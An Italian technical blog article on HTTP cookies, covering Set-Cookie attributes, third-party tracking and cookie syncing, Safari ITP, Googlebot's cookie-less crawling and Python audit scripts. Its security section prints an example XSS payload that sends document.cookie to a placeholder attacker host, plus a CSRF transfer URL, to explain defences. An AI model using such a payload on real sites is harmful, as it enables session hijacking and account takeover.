Skip to content

L’analisi tecnica di un ecosistema web complesso non può prescindere dalla comprensione profonda del layer di persistenza dei dati. Sebbene spesso relegati a discussioni su GDPR e privacy, i cookie rappresentano l’infrastruttura critica su cui si basano l’attribuzione delle conversioni, la personalizzazione dell’esperienza utente e, indirettamente, le performance di scansione.

Per un SEO tecnico o un data analyst, comprendere la meccanica HTTP dietro ai cookie è fondamentale per evitare problemi di involuntary cloaking, diagnosticare perdite di dati in Google Analytics 4 e ottimizzare il Crawl Budget in ambienti che fanno uso intensivo di personalization lato server.


L’illusione dello Stato nel protocollo HTTP

Il protocollo HTTP è, per definizione, stateless. Ogni richiesta inviata dal client al server è un’unità autonoma, priva di memoria: il server non ha alcun meccanismo nativo per riconoscere se due richieste consecutive provengono dallo stesso utente o da due utenti diversi. Ogni GET, ogni POST, nasce e muore nel vuoto del proprio ciclo request-response.

HTTP stateless

La discrepanza fondamentale per la SEO risiede nel fatto che Googlebot opera prevalentemente come un browser stateless. Mentre gli utenti reali mantengono sessioni persistenti tramite i cookie, i crawler dei motori di ricerca non accettano cookie di sessione (se non in rari casi di debug specifici) e non eseguono script che richiedono persistenza locale tra le pagine. Un’architettura che basa il rendering del contenuto critico o la struttura di navigazione esclusivamente sui cookie è destinata a fallire in ottica SEO.


Un cookie non è una semplice stringa di testo, ma una tupla di attributi definita nell’header HTTP. La comunicazione avviene tramite due header specifici:

  1. Set-Cookie: inviato dal Server al Client nella risposta HTTP.
  2. Cookie: inviato dal Client al Server nelle richieste successive.

Il Flusso HTTP

Server → Client (risposta HTTP):

HTTP/1.1 200 OK
Set-Cookie: session_id=abc123; Domain=.example.com; Path=/; Max-Age=86400; Secure; HttpOnly; SameSite=Lax

Client → Server (richiesta successiva):

GET /account HTTP/1.1
Host: example.com
Cookie: session_id=abc123

Il cookie non è un file eseguibile, non è un programma, non contiene codice. È un dato testuale strutturato come coppia nome=valore, arricchito da una serie di attributi che ne definiscono il comportamento.

Parametri critici e sicurezza

L’analisi degli header di risposta (verificabile tramite Chrome DevTools > Network o via CLI con curl -I) rivela la robustezza dell’implementazione.

Domain e Path governano lo scope di visibilità. Un cookie impostato con Domain=.example.com è accessibile da tutti i sottodomini (www.example.com, blog.example.com, shop.example.com). Un errore comune nelle migrazioni o in architetture multi-tenant è impostare cookie con scope troppo ampio (es. .dominio.com invece di sub.dominio.com), esponendo dati di sessione a sottodomini non sicuri o non correlati. Il parametro Path=/shop limita ulteriormente la visibilità a una specifica directory e alle sue sotto-directory.

Expires e Max-Age controllano la persistenza temporale. Expires accetta una data assoluta in formato UTC (Expires=Thu, 01 Jan 2026 00:00:00 GMT), mentre Max-Age specifica la durata in secondi dal momento della ricezione (Max-Age=86400 = 24 ore). Se entrambi sono presenti, Max-Age ha la precedenza. Se nessuno dei due è specificato, il cookie è session-only: vive solo finché il browser resta aperto.

I flag di sicurezza sono fondamentali per prevenire attacchi e controllare il comportamento cross-site:

  • HttpOnly: il cookie non è accessibile via JavaScript (document.cookie lo ignora). È la difesa primaria contro il furto di sessione tramite attacchi XSS (Cross-Site Scripting). Senza questo flag, un attaccante che inietta uno script nella pagina può leggere i cookie di sessione e impersonare l’utente. Il flag rende però il cookie invisibile anche a script di tracciamento client-side non privilegiati.
  • Secure: il cookie viene trasmesso esclusivamente su connessioni cifrate (HTTPS). Su HTTP in chiaro, il browser non lo include nella richiesta. Questo previene l’intercettazione del cookie tramite attacchi man-in-the-middle su reti non cifrate.
  • SameSite: controlla l’invio del cookie nelle richieste cross-site ed è il meccanismo principale di difesa contro attacchi CSRF (Cross-Site Request Forgery).
    • Strict: il cookie non viene mai inviato in richieste cross-site. Se un utente clicca un link verso example.com da un sito esterno, il cookie non viene incluso nella prima richiesta. Massima sicurezza, ma può causare problemi di UX (l’utente arriva “sloggato”).
    • Lax (default nei browser moderni): il cookie viene inviato nelle navigazioni top-level sicure (click su link, redirect) ma non nelle richieste cross-site come iframe, immagini, o fetch da domini terzi. È il compromesso standard tra sicurezza e usabilità.
    • None: il cookie viene inviato in tutte le richieste cross-site. Richiede obbligatoriamente il flag Secure. Necessario per contesti cross-site (iframe di terze parti, widget embedded), ma sempre più deprecato dai browser privacy-centric.

Esempio di header Set-Cookie ottimizzato:

Set-Cookie: session_id=xy78z...; Path=/; Domain=.evemilano.com; Secure; HttpOnly; SameSite=Lax; Max-Age=3600

I cookie possono essere creati da due fonti distinte: il server (via header HTTP) e il client (via JavaScript). La distinzione è critica perché determina il livello di sicurezza e il tipo di dato che il cookie può trasportare.

Creazione Server-Side

Il server genera il cookie e lo include nell’header Set-Cookie della risposta HTTP. Questo è il metodo standard per cookie di sessione e autenticazione.

# Esempio Nginx

location / {
    proxy_pass http://backend;
    
    # Forza i flag di sicurezza su tutti i cookie provenienti dal backend
    proxy_cookie_flags ~ secure httponly samesite=lax;
    
    # Riscrittura del dominio se il backend imposta un dominio diverso
    proxy_cookie_domain backend.internal .example.com;
    
    # Riscrittura del path se necessario
    proxy_cookie_path /api/ /;
}
# Esempio con Flask (Python)

from flask import Flask, make_response

app = Flask(__name__)

@app.route('/login')
def login():
    resp = make_response("Logged in")
    resp.set_cookie(
        'session_id',
        value='a1b2c3d4e5',
        max_age=3600,
        secure=True,
        httponly=True,
        samesite='Lax',
        domain='.example.com',
        path='/'
    )
    return resp

Il vantaggio della creazione server-side è la possibilità di impostare il flag HttpOnly, rendendo il cookie invisibile a JavaScript e quindi protetto da attacchi XSS. I cookie server-side sono inoltre immuni alle restrizioni ITP di Safari che colpiscono i cookie impostati via JavaScript.

Creazione Client-Side (JavaScript)

JavaScript può creare cookie direttamente nel browser tramite document.cookie:

document.cookie = "user_pref=dark_mode; path=/; max-age=2592000; SameSite=Lax; Secure";

Questo metodo è usato tipicamente per preferenze utente, stato dell’interfaccia e, soprattutto, per il tracking client-side. La maggior parte dei tag di analytics e advertising (Google Analytics, Meta Pixel, piattaforme di retargeting) crea cookie via JavaScript.

Il limite strutturale: i cookie creati via JavaScript non possono avere il flag HttpOnly e sono soggetti alle restrizioni ITP di Safari (durata limitata a 7 giorni o 24 ore).

La Catena di responsabilità

Nella pratica, i cookie presenti su un sito web sono generati da un ecosistema di attori:

  • Backend del sito: cookie di sessione, autenticazione, CSRF token, preferenze lingua/valuta.
  • CMS o framework: WordPress, Magento, Shopify impostano i propri cookie tecnici per gestione della sessione admin, carrello, cache.
  • Tag Manager (GTM): orchestra l’inserimento di tag che a loro volta creano cookie.
  • Script di analytics: Google Analytics (_ga, _gid), Adobe Analytics, Matomo.
  • Pixel di advertising: Meta (_fbp, _fbc), Google Ads (_gcl_au), TikTok, Criteo.
  • CMP (Consent Management Platform): Cookiebot, OneTrust, iubenda generano cookie per memorizzare le scelte di consenso dell’utente.
  • CDN e servizi di sicurezza: Cloudflare (__cf_bm), Akamai, servizi anti-bot.

Tassonomia operativa: First-Party vs Third-Party

La distinzione tecnica non risiede nel chi imposta il cookie, ma nel contesto del dominio che lo scrive rispetto all’URL nella barra degli indirizzi del browser. Un cookie è first-party se il suo attributo Domain corrisponde al dominio nella barra degli indirizzi. È third-party se appartiene a un dominio diverso.

Cookie di prima parte (First-Party)

Creati dall’host del dominio visitato. Sono essenziali per l’UX e gestiscono le funzionalità core del sito:

  • Sessione e autenticazione: il session ID che mantiene l’utente loggato tra una pagina e l’altra.
  • Carrello e-commerce: persistenza dei prodotti selezionati durante la navigazione.
  • Preferenze utente: lingua, valuta, tema, filtri applicati.
  • Analytics proprietari: Google Analytics crea cookie first-party (_ga è impostato sul dominio del sito) che identificano l’utente ricorrente.

Impatto Web Vitals (CLS): un’implementazione scorretta della gestione dello stato è una causa frequente di Cumulative Layout Shift. Esempio tipico: un banner di consenso cookie caricato in ritardo via JS basato su cookie, o personalizzazioni che spostano il layout dopo il first paint. Se il banner viene iniettato via JavaScript dopo il caricamento del DOM, sposta il contenuto visibile causando un layout shift misurabile. Il rendering condizionale deve avvenire server-side o idratare il DOM prima del first paint.

Cookie di terza parte (Third-Party) e AdTech

Generati da domini esterni (es. doubleclick.net) rispetto a quello visitato dall’utente. Il meccanismo è il seguente: quando una pagina su example.com include un pixel di facebook.com (un’immagine 1×1 o uno script), il browser esegue una richiesta verso facebook.com. La risposta di facebook.com include un header Set-Cookie che crea un cookie sul dominio facebook.com, non su example.com.

Il Meccanismo di Cookie Syncing

Nel programmatic advertising, ogni piattaforma identifica lo stesso utente con un ID diverso. La SSP (Supply Side Platform, che gestisce lo spazio pubblicitario per l’editore) lo chiama user_555. La DSP (Demand Side Platform, che gestisce le campagne per l’inserzionista) lo chiama buyer_999. Il problema è che queste due piattaforme vivono su domini separati e, per la Same-Origin Policy del browser, nessun dominio può leggere i cookie di un altro dominio.

Il Cookie Syncing è il processo che permette a queste piattaforme di “presentarsi” a vicenda e costruire una tabella di corrispondenza tra i loro rispettivi ID.

Come funziona nella pratica: quando un utente visita una pagina con un banner pubblicitario, la SSP carica un pixel invisibile (un’immagine 1×1 pixel) il cui URL punta al server della DSP e include, come parametro, il proprio ID utente. Esempio:

https://dsp.com/sync?ssp_user_id=555

La DSP riceve questa richiesta, legge il proprio cookie dal browser (che contiene buyer_999), e salva l’associazione: ssp_user_id=555 corrisponde a buyer_999. Da questo momento, quando la SSP metterà all’asta un’impression per l’utente 555, la DSP saprà che si tratta del proprio buyer_999, potrà accedere al suo profilo comportamentale e decidere quanto offrire nell’asta in tempo reale (RTB).

Questo meccanismo si ripete per ogni coppia di piattaforme coinvolta nella catena pubblicitaria, generando decine di redirect e richieste HTTP in background — con un impatto diretto sulla latenza di rete e sul Time to Interactive della pagina. L’intero sistema si regge sui cookie di terza parte: senza di essi, la catena di identificazione si spezza.

Il flusso operativo:

  1. La SSP (lato editore) identifica l’utente con il proprio cookie ID (es. ssp_id=XYZ).
  2. La SSP avvia una richiesta di cookie sync verso la DSP (lato inserzionista), passando il proprio ID.
  3. La DSP risponde con il proprio cookie ID (es. dsp_id=ABC) e crea una tabella di mapping: XYZ ↔ ABC.
  4. Durante il Real-Time Bidding (RTB), quando la SSP mette all’asta un’impression, comunica ssp_id=XYZ. La DSP traduce questo ID nel proprio dsp_id=ABC, accede al profilo comportamentale dell’utente e decide quanto offrire.

Retargeting comportamentale

Il flusso è lineare. L’utente visita un e-commerce e visualizza un prodotto. Il pixel di retargeting (es. Criteo, Google Ads) registra l’evento e lo associa al cookie ID dell’utente. Quando l’utente visita successivamente un sito editoriale che partecipa alla rete pubblicitaria, il cookie viene letto, il profilo viene riconosciuto, e il banner mostrato è personalizzato sul prodotto precedentemente visualizzato.


Casi d’uso operativi

I cookie servono a tre macro-funzioni, ciascuna con implicazioni tecniche specifiche.

Gestione della sessione

Il caso d’uso primario. Il server genera un session ID univoco al primo accesso dell’utente, lo invia come cookie e lo usa come chiave per recuperare lo stato della sessione (dati di autenticazione, carrello, permessi) da un data store server-side (Redis, database, file system). Il cookie non contiene i dati della sessione, ma solo il puntatore ad essi.

La sicurezza del session ID è critica: se un attaccante lo intercetta (session hijacking), assume l’identità dell’utente. Per questo motivo i cookie di sessione devono sempre avere i flag HttpOnly, Secure e SameSite.

Personalizzazione e preferenze

Cookie che memorizzano scelte dell’utente per evitare di doverle ripetere: lingua dell’interfaccia, valuta, layout preferito, consenso cookie già espresso. Questi cookie sono tipicamente first-party con durata di mesi o anni.

Tracciamento e Analytics

Cookie utilizzati per identificare utenti ricorrenti, misurare le performance del sito e attribuire conversioni ai canali di marketing.

Google Analytics utilizza diversi cookie first-party:

  • _ga: identificativo utente univoco, durata 2 anni. Formato: GA1.2.XXXXXXXX.XXXXXXXXXX dove le ultime due sezioni sono un random ID e un timestamp.
  • _gid: identificativo di sessione, durata 24 ore. Usato per distinguere sessioni dello stesso utente.
  • _gac_*: memorizza le informazioni sulla campagna Google Ads che ha portato l’utente sul sito. Essenziale per l’attribuzione delle conversioni.

I cookie di tracking pubblicitario (terza parte) servono invece all’attribuzione cross-site e al retargeting, come descritto nella sezione precedente.


Sicurezza: Vettori di Attacco

Cross-Site Scripting (XSS): se un sito ha una vulnerabilità XSS (ad esempio un campo di input non sanitizzato che permette l’iniezione di codice HTML/JavaScript), un attaccante può inserire uno script che legge document.cookie e invia tutti i cookie non protetti da HttpOnly a un server esterno. Con il session ID in mano, l’attaccante accede all’account della vittima.

// Esempio di payload XSS per furto di cookie
<script>
  new Image().src = "https://attacker.com/steal?c=" + document.cookie;
</script>

La difesa: HttpOnly su tutti i cookie sensibili, Content Security Policy (CSP) restrittiva, sanitizzazione degli input.

Cross-Site Request Forgery (CSRF): un sito malevolo induce il browser dell’utente a inviare una richiesta autenticata verso un sito legittimo (es. bank.com/transfer?amount=10000&to=attacker). Poiché il browser include automaticamente i cookie per bank.com, la richiesta viene eseguita con i permessi dell’utente. La difesa primaria è SameSite=Lax o Strict combinato con token CSRF.

Session Hijacking: intercettazione del cookie di sessione su connessioni non cifrate (HTTP). Il flag Secure e l’uso esclusivo di HTTPS eliminano questo vettore.

Privacy: Il Tracking Cross-Site

Il problema fondamentale dei cookie di terza parte è la creazione di profili comportamentali senza il consenso informato dell’utente. Una rete pubblicitaria presente su migliaia di siti può ricostruire un grafo completo della navigazione di un individuo: quali siti visita, con quale frequenza, quali prodotti guarda, quali articoli legge.

Questo ha generato l’intero framework normativo della privacy digitale: GDPR (Europa), CCPA (California), ePrivacy Directive. Il punto centrale è il consenso preventivo: i cookie non strettamente necessari al funzionamento del sito non possono essere impostati prima che l’utente abbia espresso un consenso esplicito.

Le CMP (Consent Management Platform) gestiscono questo flusso, ma l’implementazione tecnica è spesso difettosa: tag che si attivano prima del consenso, cookie che vengono impostati indipendentemente dalla scelta dell’utente, configurazioni di GTM che non rispettano i trigger di consenso.


L’ecosistema del tracciamento è stato destabilizzato da Apple con l’introduzione dell’Intelligent Tracking Prevention (ITP) su WebKit.

Safari (ITP)

I cookie impostati via JavaScript (es. document.cookie da script di Google Analytics) su Safari hanno una durata limitata a 7 giorni, o addirittura 24 ore se l’utente proviene da domini classificati come tracker. Le conseguenze sono concrete: l’attribuzione delle conversioni si spezza. Un utente che torna dopo 8 giorni viene visto come un “Nuovo Utente”, gonfiando le metriche di acquisizione e sottostimando il CLV (Customer Lifetime Value).

Firefox (ETP)

Firefox con Enhanced Tracking Protection blocca i cookie di terza parte da domini presenti nella lista di Disconnect.me. Il comportamento è simile a ITP ma con logica di blocklist anziché euristica.

Chrome: Privacy Sandbox e CHIPS

Google Chrome sta seguendo con la deprecazione dei cookie di terze parti, introducendo:

  • Topics API: il browser classifica gli interessi dell’utente in base alla cronologia di navigazione recente e condivide un set limitato di “topic” con i siti, senza esporre la navigazione completa. Profilazione basata su categorie di interesse (coorti) invece che su ID individuali.
  • CHIPS (Cookies Having Independent Partitioned State): i cookie di terza parte vengono partizionati per sito di primo livello. Un cookie di tracker.com impostato su siteA.com è invisibile quando l’utente naviga su siteB.com, anche se entrambi includono script di tracker.com. Questo preserva i casi d’uso legittimi (widget embedded, servizi di pagamento) eliminando il tracking cross-site.

Browser Fingerprinting: L’Alternativa Post-Cookie

Con il declino dei cookie, sono emerse tecniche di identificazione passiva che non richiedono alcun dato memorizzato sul dispositivo. Il browser fingerprint combina decine di segnali — risoluzione dello schermo, font installati, rendering Canvas e WebGL, configurazione degli header HTTP, plugin disponibili, fuso orario, lingua — per creare un identificativo pseudo-univoco. La difesa è complessa perché non esiste un singolo punto di blocco: ogni segnale è legittimo singolarmente, ma la combinazione è identificativa.


SEO e Crawling: Il “Blind Spot” di Googlebot

Googlebot non gestisce i cookie. Non li accetta, non li memorizza, non li invia. Ogni pagina viene renderizzata in un ambiente privo di stato, senza sessione, senza preferenze, senza consenso espresso. Poiché Googlebot raramente mantiene il cookie tra una richiesta e l’altra, ogni hit al server viene trattato come una nuova visita cookie-less.

Questo ha implicazioni architettoniche severe e crea un rischio concreto di cloaking involontario: il sito mostra contenuti diversi a Googlebot rispetto agli utenti reali.

Scenari di Involuntary Cloaking

  • Geo-Redirection basata su cookie: se un sito utilizza i cookie per determinare la lingua o la valuta (rilevamento IP → set cookie → redirect), Googlebot potrebbe rimanere intrappolato nella versione di default (solitamente en-US o la posizione del data center di scansione).
  • Prezzi personalizzati: un e-commerce che mostra prezzi diversi in base a un cookie di geolocalizzazione. Googlebot non ha quel cookie, quindi vede il prezzo di default (o nessun prezzo).
  • Paywall o gated content: sistemi che usano cookie per contare gli articoli letti e attivare un paywall. Googlebot non ha il cookie contatore, quindi vede sempre il contenuto completo — il che è corretto per l’indicizzazione, ma deve essere gestito con il markup isAccessibleForFree e le best practice di Google per i contenuti a pagamento.
  • Banner di consenso cookie: se il banner è implementato come overlay che copre il contenuto e il suo stato (accettato/rifiutato) dipende da un cookie, Googlebot potrebbe renderizzare la pagina con il banner sempre visibile, potenzialmente oscurando il contenuto principale.

Header Vary: Cookie

Se il server restituisce HTML diverso basandosi sui cookie (es. versione “Loggato” vs “Ospite”), è imperativo inviare l’header HTTP:

HTTP/1.1 200 OK
Vary: Cookie
Content-Type: text/html

Questo istruisce le cache intermedie (CDN, Proxy) e parzialmente i motori di ricerca che la risorsa non è statica per tutti gli utenti. Tuttavia, per la SEO pura, il contenuto indicizzabile deve essere visibile senza cookie.

Strategie di mitigazione

Non usare mai i cookie come unica fonte di verità per il routing dei contenuti. Per contenuti multilingua, usare URL distinti (es. /it/, /en/) e annotazioni hreflang. Per la geolocalizzazione, usare parametri URL o redirect server-side con hreflang per segnalare le varianti ai motori.

Ogni contenuto servito con logica dipendente da cookie deve avere un comportamento di default sensato quando i cookie non sono disponibili. Questo default è ciò che Googlebot vedrà e indicizzerà.


Per mitigare la perdita di dati dovuta a ITP e AdBlocker, l’industria si sta spostando verso soluzioni server-side.

GTM Server-Side (sGTM)

Il Google Tag Manager Server-Side sposta l’esecuzione dei tag dal browser dell’utente a un server intermedio controllato dal proprietario del sito (es. un container Docker su Google Cloud Run). Invece di caricare decine di script di terze parti nel browser (ciascuno con il proprio peso in termini di risorse, latenza e cookie), il browser invia un singolo hit al server GTM, che poi distribuisce i dati alle piattaforme di destinazione (Google Analytics, Meta, ecc.) tramite chiamate server-to-server.

I vantaggi sono multipli:

  • Performance: riduzione drastica degli script client-side con impatto diretto su LCP (Largest Contentful Paint) e Total Blocking Time. Meno JavaScript nel browser significa rendering più veloce.
  • Persistenza dei dati: i cookie impostati dal server GTM sono first-party server-side (HttpOnly e Secure), quindi non soggetti alle restrizioni ITP di Safari. La durata di 7 giorni per i cookie JavaScript diventa irrilevante perché il cookie è impostato via header HTTP dal dominio del sito.
  • Controllo e Privacy: il server intermedio filtra, sanitizza e trasforma i dati prima di inviarli a endpoint esterni, permettendo la rimozione di dati personali (PII) prima che raggiungano terze parti.

Google Consent Mode v2

Non è un semplice banner, ma un sistema di segnalazione (ping) che comunica a Google lo stato del consenso.

Quando un utente nega il consenso ai cookie di analytics o advertising, Consent Mode non blocca completamente la raccolta dati. Con l’Advanced Implementation, invia hit anonimi (“cookieless pings”) che Google utilizza per il Data Modeling: un processo statistico che stima le conversioni e il comportamento utente basandosi sui pattern degli utenti che hanno dato il consenso, applicandoli proporzionalmente a quelli che non lo hanno dato.

In pratica, se il 40% degli utenti nega il consenso, Google utilizza i dati del 60% che ha acconsentito per modellare il comportamento probabile del 40% mancante, colmando il gap nei report di GA4. L’accuratezza del modello dipende dal volume di dati disponibili — con volumi bassi, le stime sono inaffidabili.

I parametri chiave di Consent Mode v2:

  • ad_storage: controlla i cookie pubblicitari.
  • analytics_storage: controlla i cookie di analytics.
  • ad_user_data: consenso all’invio di dati utente a Google per fini pubblicitari.
  • ad_personalization: consenso alla personalizzazione degli annunci.

First-Party Data Strategy

L’instabilità del tracciamento basato su browser rende la raccolta diretta di dati proprietari l’unico hedge sostenibile a lungo termine. Dati raccolti attraverso login, iscrizioni, programmi fedeltà e interazioni dirette non dipendono dalla persistenza dei cookie e non sono soggetti a restrizioni dei browser o decisioni di consenso relative al tracking.


Per analizzare la salute dell’architettura dei cookie su siti di grandi dimensioni, non ci si può limitare all’ispezione manuale.

Ispezione manuale (Chrome DevTools)

Application Tab → Cookies mostra tutti i cookie per dominio con i relativi attributi. Network Tab permette di ispezionare gli header Set-Cookie nelle risposte HTTP e verificare che i flag di sicurezza siano impostati correttamente.

Punti di verifica:

  • Tutti i cookie di sessione hanno HttpOnly e Secure?
  • I cookie first-party hanno SameSite=Lax o Strict?
  • Ci sono cookie impostati prima del consenso dell’utente?
  • I cookie di terza parte sono necessari o possono essere eliminati?

Script Python per Audit su Scala

import requests
from urllib.parse import urlparse

def audit_cookies(url: str) -> dict:
    """
    Esegue un audit dei cookie restituiti da un URL.
    Verifica flag di sicurezza e classifica first/third-party.
    """
    try:
        session = requests.Session()
        response = session.get(url, timeout=10, allow_redirects=True)
        
        domain = urlparse(url).netloc.replace('www.', '')
        results = {
            'url': url,
            'total_cookies': 0,
            'first_party': [],
            'third_party': [],
            'security_issues': []
        }
        
        if not response.cookies:
            print(f"Nessun cookie rilevato per {url}")
            return results

        for cookie in session.cookies:
            cookie_info = {
                'name': cookie.name,
                'domain': cookie.domain,
                'path': cookie.path,
                'secure': cookie.secure,
                'httponly': cookie.has_nonstandard_attr('HttpOnly'),
                'expires': cookie.expires,
                'samesite': cookie.get_nonstandard_attr('SameSite', 'Not Set')
            }
            
            # Classificazione first/third party
            cookie_domain = cookie.domain.lstrip('.')
            if cookie_domain == domain or domain.endswith('.' + cookie_domain):
                results['first_party'].append(cookie_info)
            else:
                results['third_party'].append(cookie_info)
            
            # Verifica flag di sicurezza
            if not cookie.secure:
                results['security_issues'].append(
                    f"Cookie '{cookie.name}' manca del flag Secure"
                )
            if not cookie.has_nonstandard_attr('HttpOnly') and 'session' in cookie.name.lower():
                results['security_issues'].append(
                    f"Cookie di sessione '{cookie.name}' manca del flag HttpOnly"
                )
            
            results['total_cookies'] += 1
        
        return results
        
    except requests.exceptions.RequestException as e:
        print(f"Errore di connessione per {url}: {e}")
        return {}

# Esempio di utilizzo su lista di URL
if __name__ == '__main__':
    targets = ['https://www.evemilano.com', 'https://example.com']
    for t in targets:
        report = audit_cookies(t)
        if report:
            print(f"\n--- {report['url']} ---")
            print(f"Cookie totali: {report['total_cookies']}")
            print(f"First-party: {len(report['first_party'])}")
            print(f"Third-party: {len(report['third_party'])}")
            for issue in report['security_issues']:
                print(f"  ⚠ {issue}")

Nota Operativa: lo script con requests cattura solo i cookie impostati via header HTTP. Per audit su larga scala che richiedono rendering JavaScript (per vedere cookie impostati via document.cookie), è necessario usare Playwright o Selenium in modalità headless:

from playwright.sync_api import sync_playwright

def audit_cookies_full(url: str) -> list:
    """
    Audit completo che cattura anche i cookie impostati via JavaScript.
    Necessario per rilevare cookie di analytics e advertising.
    """
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=True)
        context = browser.new_context()
        page = context.new_page()
        page.goto(url, wait_until='networkidle')
        
        cookies = context.cookies()
        browser.close()
        
        return cookies

Verifica degli Header di Risposta

Oltre ai cookie stessi, è importante verificare che gli header HTTP di sicurezza siano configurati correttamente:

curl -sI https://example.com | grep -iE '(set-cookie|strict-transport|content-security|x-frame)'

Header da verificare in relazione ai cookie:

  • Strict-Transport-Security: forza HTTPS, rendendo effettivo il flag Secure.
  • Content-Security-Policy: limita l’esecuzione di script inline, mitigando XSS.
  • X-Frame-Options o frame-ancestors in CSP: previene il clickjacking che potrebbe sfruttare cookie attivi.

Conclusioni

La gestione dei cookie non è più solo una questione di compliance, ma un pilastro dell’architettura tecnica che impatta SEO, performance e data quality. Ignorare il comportamento stateless dei crawler o le limitazioni ITP significa basare le proprie decisioni di marketing su dati incompleti.

I punti chiave da portarsi a casa:

  • Il contenuto indicizzabile deve essere accessibile senza cookie.
  • I cookie di sessione devono avere HttpOnly, Secure e SameSite.
  • Il Server-Side Tagging è la risposta alle restrizioni ITP e alla perdita di dati.
  • La First-Party Data Strategy è l’unico hedge sostenibile contro l’instabilità del tracciamento browser-based.
  • Ogni audit tecnico deve includere la verifica dei flag di sicurezza e la classificazione first/third-party dei cookie attivi.

Articoli correlati

5 min lettura

Configurazione tecnica di Certbot per Nginx su Ubuntu 22.04 e 24.04 LTS. La procedura aggiornata per installare il client Let's Encrypt via Snap, abbandonare il vecchio PPA e automatizzare i certificati SSL/TLS 1.3, inclusa la gestione dei wildcard tramite DNS challenge.
13 mi piace
22 min lettura

Configurare fail2ban su server Ubuntu per proteggere Nginx e SSH da attacchi brute force. Il demone analizza i log di accesso e aggiorna dinamicamente le regole del firewall UFW o iptables, bannando in automatico gli IP malevoli che mostrano pattern di autenticazione anomali.
2 mi piace
7 min lettura

L'applicazione del Google Dorking all'auditing SEO tecnico espone la reale superficie di indicizzazione senza i filtri di Search Console. Combinando operatori avanzati è possibile isolare ambienti di staging, file sensibili esposti e diagnosticare anomalie sui parametri URL.
2 mi piace

Autore

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

Ultimi articoli aggiornati

22 min lettura

Difendere WordPress dai commenti spam con una strategia defense in depth a tre layer: configurazioni applicative, regole edge su Cloudflare, barriere a livello web server. Honeypot PHP, regole .htaccess e Nginx modernizzate, Cloudflare Turnstile, fail2ban. Snippet completi pronti da incollare.
0 mi piace
22 min lettura

Analisi tecnica della persistenza dei dati nel protocollo HTTP tramite header Set-Cookie. Comprendere la meccanica dei cookie, attributi come Max-Age e i limiti di Googlebot come crawler stateless è essenziale per diagnosticare problemi di rendering e involuntary cloaking.
3 mi piace
19 min lettura

Analisi dell'architettura RAG nativa per WordPress sviluppata interamente in PHP e MySQL, senza dipendenze da database vettoriali esterni. Il sistema supera i limiti della ricerca lessicale integrando la ricerca semantica su VPS o hosting condivisi con meno di 1GB di RAM.
2 mi piace
7 min lettura

La gestione dei 404 durante le migrazioni richiede automazione per preservare la link equity. migTool è uno script Python progettato per automatizzare la mappatura dei redirect 301 intelligenti, ottimizzando il processo di reindirizzamento ed eliminando le inefficienze manuali.
5 mi piace

Richiedi un preventivo SEO e Google Ads

Porta il tuo sito web al livello successivo con l’esperienza di EVE Milano. La nostra agenzia di Search Marketing ha ricevuto oltre 1209 richieste di preventivo, un segnale chiaro della fiducia che imprenditori e manager, come te, ripongono nella nostra specializzazione tecnica e verticale nella SEO e PPC. Se la tua organizzazione cerca competenze specifiche per emergere nei risultati di Google, noi siamo pronti a fornire quel valore aggiunto. Richiedi un preventivo ora e scopri la differenza tra noi e gli altri.
Richiedi un preventivo

Vuoi ricevere un avviso al mese con le nuove guide pubblicate?

Iscriviti alla newsletter!